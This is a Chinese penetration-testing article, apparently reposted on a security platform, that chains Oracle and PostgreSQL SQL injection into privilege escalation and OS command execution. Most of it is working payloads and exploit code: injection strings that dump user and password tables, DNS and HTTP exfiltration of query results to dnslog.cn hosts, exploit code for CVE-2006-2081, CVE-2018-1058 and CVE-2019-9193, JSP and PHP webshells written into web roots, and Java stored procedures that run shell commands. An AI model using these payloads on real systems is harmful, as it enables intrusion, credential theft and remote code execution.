长亭百川云 - 文章详情

数据库—从注入到提权的全家桶套餐

迪哥讲事

19

2024-07-21

这是 酒仙桥六号部队 的第 55 篇文章。

全文共计5397个字,预计阅读时长17分钟。

===

前言

偶然看到了最新的数据库流行度排名,发现在前5名的关系型数据库中,日常渗透测试见到最多的便是MySQL,排名第一的Oracle可能因为企业版高昂的价格限制了用户群众,在实际中相对于MySQL遇到的偏少,作为完全免费开源的PostgreSQL,虽然也占据了榜单Top 4,但目前在国内碰到的几率也很小。

所以这次先重点研究一下Oracle与PostgreSQL这两种数据库从手注到提权的不同方式,避免过度依赖sqlmap一把梭的尴尬局面。

SQL注入分析

1.数据库类型判断

身为关系型数据库,自然避免不了SQL注入的话题,而在进行注入前,我们首先要对数据库的种类进行判断 Oracle:根据特有的表进行判断:

and (select count(*) from sys.user_tables)>0

PostgreSQL:根据特有的语法判断:

and+1::int=1--

接下来我们从各自的数据库语法去分析不同的SQL注入方式,SQL注入按照我们熟悉的注入语法又划分为:基于布尔的盲注、基于时间延迟的盲注、显错注入、联合查询注入、堆查询注入,我们依次来对两种数据库进行分析。

2.联合查询注入

Oracle

a.在Oracle中,存在dual虚拟表,任何用户都可以去读取查询,因为Oracle数据库的查询语句必须包含from属性,所以常用在没有目标表的select查询语句中,比如可以查询当前用户等。

and 1=2 union select null,user,null from dual(获取当前用户名)

b.Oracle联合查询注入需要依次判断每个字段的字段类型,而不能像mysql中字段直接全部套用数字型。

and 1=2 union select 1,null,null from dual

若返回正常则为整数型,异常则为字符型'null'。

and 1=2 union select 1,'null','null' from dual

c.Oracle数据库不支持mysql中limit功能,但可以通过rownum来限制返回的结果集的行数.查看前5个数据库用户,数据库用户均存在dba_users表中。

and 1=2 union select 1,username,password from dba_users where rownum<=5

d.联合查询注入需要用到查看表结构、字段名等功能,在mysql中大家所熟知的是information_schema,而在Oracle中同样拥有此类功能视图。

dba_*_  dba拥有的或可以访问的所有对象

all*  某用户拥有的或可以访问的所有的对象

user_* 某用户拥有的所有对象(必须是拥有者owner,相当于表的创建者)

比如在user_tab_columns中,表名与字段名一一对应展示,可以同时对表名及字段名进行查询:

and 1=2 union select 1,table_name,column_name from user_tab_columns where rownum<=2000

e.其他常用语句:

可通过查看数据库文件位置间接判断操作系统。

and 1=2 union select 1,name,'null' from V$DATAFILE

查看数据库版本:

and 1=2 union select 1,version,'null' from v$instance

查看用户权限:

and 1=2 union select 1,privilege,'null' from session_privs

查看主机IP:

and 1=2 unions select utl_inaddr.get_host_address from dual

PostgreSQL

a.在order by确认字段数量后后需跟oracle一样,使用null来填充字段,然后依次去判断每个字段的字符类型(字符类型用'null',整数型用直接用整数代替),若直接使用整数型1,2,3来填充则会报错。

and 1=2 union select 1,2,3

and 1=2 union select null,null,null

最终判断出的每个字段的类型,以及页面回显位。

and 1=2 union select 100,'null','null'

b.查询当前数据库使用current_database()函数。

and 1=2 union select 1,current_database(),'null'

c.PostgreSQL数据库中的pg_stat_user_tables相当于mysql中的information_schema.tables(),realname代替mysql中的table_name进行查询。

d.PostgreSQL中的limit与mysql中的使用有所差异,语法为limit 1 offset 0。

and 1=2 union select 1,relname,'null' from pg_stat_user_tables limit 1 offset 0

之后便与mysql中的联合查询注入步骤及用法一样往后进行注入取值。

and 1=2 union select 1,column_name,'null' from information_schema.columns where table_name = 'tbuser' limit 1 offset 0

and 1=2 union select 1,username,password from tbuser where id = 2

e.利用sql注入查找超级用户postgres密码PostgreSQL数据库中用户账号密码存在于pg_authid以及pg_shadow表中。

and 1=2 union select 1,rolname,rolpassword from pg_authid limit 1 offset 0

and 1=2 union select 1,usename,passwd from pg_shadow limit 1 offset 0

此处有个需要注意的地方就是md5解出来的字符并不是全部都为密码,而是为“密码+账号”,如图所示,123456为用户postgres的密码。

获取账号密码后,可以远程连接执行sql命令。

3.布尔盲注

Oracle

a.instr()函数:查找一个字符串在指定字符串的出现位置。

and 1=(instr((select user from dual),'S'))
and 2=(instr((select user from dual),'Y'))
and 3=(instr((select user from dual),'S'))

b.decode()函数与substr()函数结合:decode函数为字符串运算函数,若字符串1等于字符串2,则返回1,不等于则返回0。

and 1=(select decode(user,'SYSTEM',1,0) from dual) --

与substr()函数结合,进行布尔盲注。

and 1=(select decode(substr((select username||password from tbuser),1,1),'t',1,0) from dual) --
and 1=(select decode(substr((select username||password from tbuser),2,1),'e',1,0) from dual) --
and 1=(select decode(substr((select username||password from tbuser),3,1),'s',1,0) from dual) --
and 1=(select decode(substr((select username||password from tbuser),4,1),'t',1,0) from dual) --

c.常规ascii值猜解。

先使用length()判断字符串长度。

and 8=(select length(username||password) from tbuser where rownum=1)

再逐个字符去猜解ascii码值。

and 116=(select ascii(substr(username||password,1,1)) from tbuser where rownum=1)

and 101=(select ascii(substr(username||password,2,1)) from tbuser where rownum=1) and 115=(select ascii(substr(username||password,3,1)) from tbuser where rownum=1)and 116=(select ascii(substr(username||password,4,1)) from tbuser where rownum=1)
···

PostgreSQL:

a.常规ascii值猜解

length猜解长度。

and (select length(current_database())) between 0 and 30

拆解每个字符ascii值,之后步骤与oracle相同,不再阐述。

and (select ascii(substr(current_database(),1,1))) between 0 and 127

4.报错注入

Oracle:

utl_inaddr.get_host_name()函数

and 1=utl_inaddr.get_host_name((select username||password from dba_users where rownum=1))

ctxsys.drithsx.sn()函数

and 1=ctxsys.drithsx.sn(1,(select username from dba_users where rownum=1))

XMLType()函数

and (select upper(XMLType(chr(60)||chr(58)||(select username from tbuser where rownum=1)||chr(62))) from dual) is not null

dbms_xdb_version.checkin()函数

and (select dbms_xdb_version.checkin((select username||password from tbuser where rownum=1)) from dual) is not null

bms_xdb_version.makeversioned()函数

and (select dbms_xdb_version.makeversioned((select username||password from tbuser where rownum=1)) from dual) is not null

dbms_xdb_version.uncheckout()函数

and (select dbms_xdb_version.uncheckout((select username||password from tbuser where rownum=1)) from dual) is not null

dbms_utility.sqlid_to_sqlhash()函数

and (SELECT dbms_utility.sqlid_to_sqlhash((select username||password from tbuser where rownum=1)) from dual) is not null

PostgreSQL

cast()函数

and 1=cast(current_database()::text as int)--

and 1=cast((select relname from pg_stat_user_tables limit 1 offset 0)::text as int)--

之后按照联合查询对应语句依次注入取值即可。

and 1=cast((select username||cpassword from tbuser where id=2)::text as int)--

5.延时注入

Oracle

dbms_pipe.receive_message()函数DBMS_PIPE.RECEIVE_MESSAGE('AAA',3)函数,表示将为从管道AAA返回的数据等待3秒判断是否存在。

and 1=dbms_pipe.receive_message('AAA', 3)

结合decode()函数进行盲注:

and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('AAA',3),0) from dual)

and 1=(select decode(substr(user,2,1),'Y',dbms_pipe.receive_message('AAA',3),0) from dual)
and 1=(select decode(substr(user,3,1),'S',dbms_pipe.receive_message('AAA',3),0) from dual)
···

PostgreSQL

PostgreSQL中延时睡眠函数pg_sleep()与mysql中的sleep()用法一致。

and 1=(select 1 from pg_sleep(5))

6.堆查询注入

Oracle

Oralce不支持堆查询注入,尝试堆查询注入直接对';'报错为无效字符。

PostgerSQL

堆叠注入可以结束上一条sql语句,开启新的sql语句,所以可以进行的操作也比较多,比如采用与联合查询注入相同的步骤,也可采用带外注入等。

7.带外注入

Oracle

oracle中包含大量低权限用户可访问的默认功能,可以使用建立带外连接。utl_http包可用于向其他主机提出任意http请求(需要公网http服务)。

and (select utl_http.request('dnslog.cn:80'||(select user from dual))is not null

当没有http服务接收时,可以采用utl_inaddr包将主机名解析为IP地址,此包可根据指定的服务器生成DNS查询。

and (select utl_inaddr.get_host_address((select user from dual)||'.tmpgak.dnslog.cn') from dual)is not null

PostgreSQL

支持跨库进行查询,利用数据库拓展dblink实现dns带外注入需要先创建dblink拓展,若服务器为windows,则可以直接安装拓展。

CREATE EXTENSION dblink;

进行查询:

test.php?uid=1;select * from dblink('host='||(select passwd  from pg_shadow limit 1 offset 1)||'.mn8k6n.dnslog.cn user=user dbname=dbname','select user')RETURNS (result TEXT);

数据库用户权限提升

Oracle数据库用户提权

提升漏洞编号为CVE-2006-2081,漏洞成因由SYS用户运行的DBMS_EXPORT_EXTENSION存储过程存在PL/SQL注入漏洞,允许低权限用户以DBA权限执行任意SQL代码,此项为Oracle 10g经典提权漏洞。

先查询用户权限:

`select * from user_role_privs;`

创建程序包:

Create or REPLACE
PACKAGE HACKERPACKAGE AUTHID CURRENT_USER
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env
SYS.odcienv)
RETURN NUMBER;
END;
/

创建程序包体:

Create or REPLACE PACKAGE BODY HACKERPACKAGE
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env
SYS.odcienv)
RETURN NUMBER
IS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO test';
COMMIT;
RETURN(1);
END;
END;
/

创建过程:

DECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMA VARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEX_NAME := 'A1';
INDEX_SCHEMA := 'TEST';
TYPE_NAME := 'HACKERPACKAGE';
TYPE_SCHEMA := 'TEST';
VERSION := '10.2.0.2.0';
GMFLAGS := 1;
v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(INDEX_NAME =>
INDEX_NAME,
INDEX_SCHEMA=> INDEX_SCHEMA,
TYPE_NAME => TYPE_NAME,
TYPE_SCHEMA => TYPE_SCHEMA,
VERSION => VERSION,
NEWBLOCK => NEWBLOCK,
GMFLAGS => GMFLAGS);
END;
/

再次查看用户权限:

EXP地址:

`https://www.exploit-db.com/exploits/1719`

PostgreSQL数据库用户权限

提升漏洞编号:CVE-2018-1058

利用范围:PostgreSQL数据库版本9.3-10

原理:当数据库用户创建一个数据库时,PostgreSQL会创建一个叫public的模式,任何用户都可以在public模式下创建对象,若不进行其他配置设定修改的情况下,默认查询等操作都是优先在public中进行查询。

如select * from a等价于select * from public.a。

而名字相同的对象可以在相同数据库的不同模式下存在,也就是一个用户可以修改其他用户的查询行为,所以我们只需要通过在public模式下植入一个常见函数,比如转换大小写的函数lower(text)和upper(text),函数功能为当此函数被超级用户调用执行时,将超级用户权限赋予低权限用户即可实现用户权限提升。

利用步骤详情:

1.查看tiquan用户是否具有超级用户权限。

2.tiquan用户创建表并插入数据。

`CREATE TABLE public.tiquan AS SELECT 'tiquan'::varchar AS contents;`

3.tiquan用户定义upper()函数。

CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$
   ALTER ROLE tiquan SUPERUSER;
   SELECT pg_catalog.upper($1);
$$ LANGUAGE SQL VOLATILE;

4.超级用户查询时候使用upper函数,此时已经执行了ALTER ROLE tiquan SUPERUSER。

5.再次查看tiquan用户权限,成功提权至超级用户。

写入webshell

Oracle写入webshell

1.利用存储过程写入webshell。

a.创建webshell目录为站点绝对路径(需要已知绝对路径)。

create or replace directory WEBSHELL_DIR as 'C:\apache-tomcat-8.5.56\webapps\Shopping';

b.利用存储过程写入一句话木马。

declare
   webshell_file utl_file.file_type;
begin
   webshell_file := utl_file.fopen('WEBSHELL_DIR', '1.jsp', 'W');
utl_file.put_line(webshell_file, '<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>');
utl_file.fflush(webshell_file);
utl_file.fclose(webshell_file);
 end;
/

c.写入成功

d.成功连接

2.利用数据库表空间结构写入文件先创建表空间,根据文件大小可相应修改表空间。

create tablespace jsptest datafile 'C:\apache-tomcat-8.5.56\webapps\Shopping\1.jsp' size 100k nologging;

创建表名并设置要插入字符的长度,此处先测试js代码,设置长度为100。

create table webshell(C varchar2(100)) tablespace jsptest;

写入要执行的代码:

insert into WEBSHELL values(<svg/onload=alert(1>');

提交数据:

commit;

提交后必须同步数据至当前表空间:

alter tablespace jsptest offline;

删除表空间:

drop tablespace jsptest including contents;

访问jsp文件:

PostgreSQL写入shell

直接利用copy函数将文件写入指定目录(需要已知绝对路径且对目录具有可操作权限)。

uid=1;copy (select '<?php @eval("$_POST[cmd]");?>') to 'C:\Users\test\Desktop\php\phpStudy\WWW\1.php';

提权

Oracle提权

因为java大多是以system权限运行,所以当oracle通过java获得命令执行权限时,便相当于间接获得了system权限,因此通过java权限命令执行也可以作为Oracle的提权过程。

1.利用java权限提权

a.先使用dba权限赋予用户java运行权限。

b.创建java包。

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;

c.获取java获取权限。

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;

d.创建执行命令的函数select。

dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function shell(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;

e.执行命令。

select shell('whoami') from dual;

2.利用存储过程提权

oracle也可以利用存储过程来进行命令执行,当用户拥有创建存储过程权限时,则可以创建一个java class,然后用创建一个存储过程来进行调用。

a.查看权限发现用户具有create procedure权限。

b.创建一个java class然后用procedure包装它进行调用。

create or replace and resolve java source named CMD as
    import java.lang.*;
    import java.io.*;
    public class CMD
    {
       public static void execmd(String command) throws IOException
 {
               Runtime.getRuntime().exec(command);
}
}
   /

c.创建存储进程。

create or replace procedure CMDPROC(command in varchar) as language java
name 'CMD.execmd(java.lang.String)';
/

d.执行命令。

e.执行成功。

PostgreSQL命令执行

高权限命令执行漏洞CVE-2019-9193。

从9.3版本开始,PostgreSQL实现了导入导出数据的命令“COPY TO/FROM PROGRAM”,而此命令允许数据库超级用户以及“pg_read_server_files”组内用户执行上任意操作系统命令。

利用条件:

1.postgresql数据库版本在9.3-11.2。

2.执行数据库语句用户为超级用户或者“pg_read_server_files”组用户,pg_read_server_files角色权限可以执行copy命令,且此权限为11版本新增角色,11版本以下需要超级用户权限。

接下来开始命令执行步骤:

创建用来保存命令输出的表。

DROP TABLE IF EXISTS rce;
CREATE TABLE  rce(rce_output text);

通过“COPY FROM PROGRAM”执行系统命令。

COPY rce FROM PROGRAM 'whoami';

查看执行结果:

SELECT * FROM rce;

总结

本篇文章重点在于制作了Oracle与PostgreSQL数据库从注入到提权的一个全家桶套餐,但注入到提权的路有很多条,不能局限于本文的几条,希望师傅们可以多学习多总结,制作一个属于自己的吮指原味新奥尔良奶油芝士豪华全家桶。

如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款
前面有同学问我有没优惠券,这里发放100张100元的优惠券,用完今年不再发放

往期回顾

dom-xss精选文章

年度精选文章

Nuclei权威指南-如何躺赚

漏洞赏金猎人系列-如何测试设置功能IV

漏洞赏金猎人系列-如何测试注册功能以及相关Tips

                                        

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2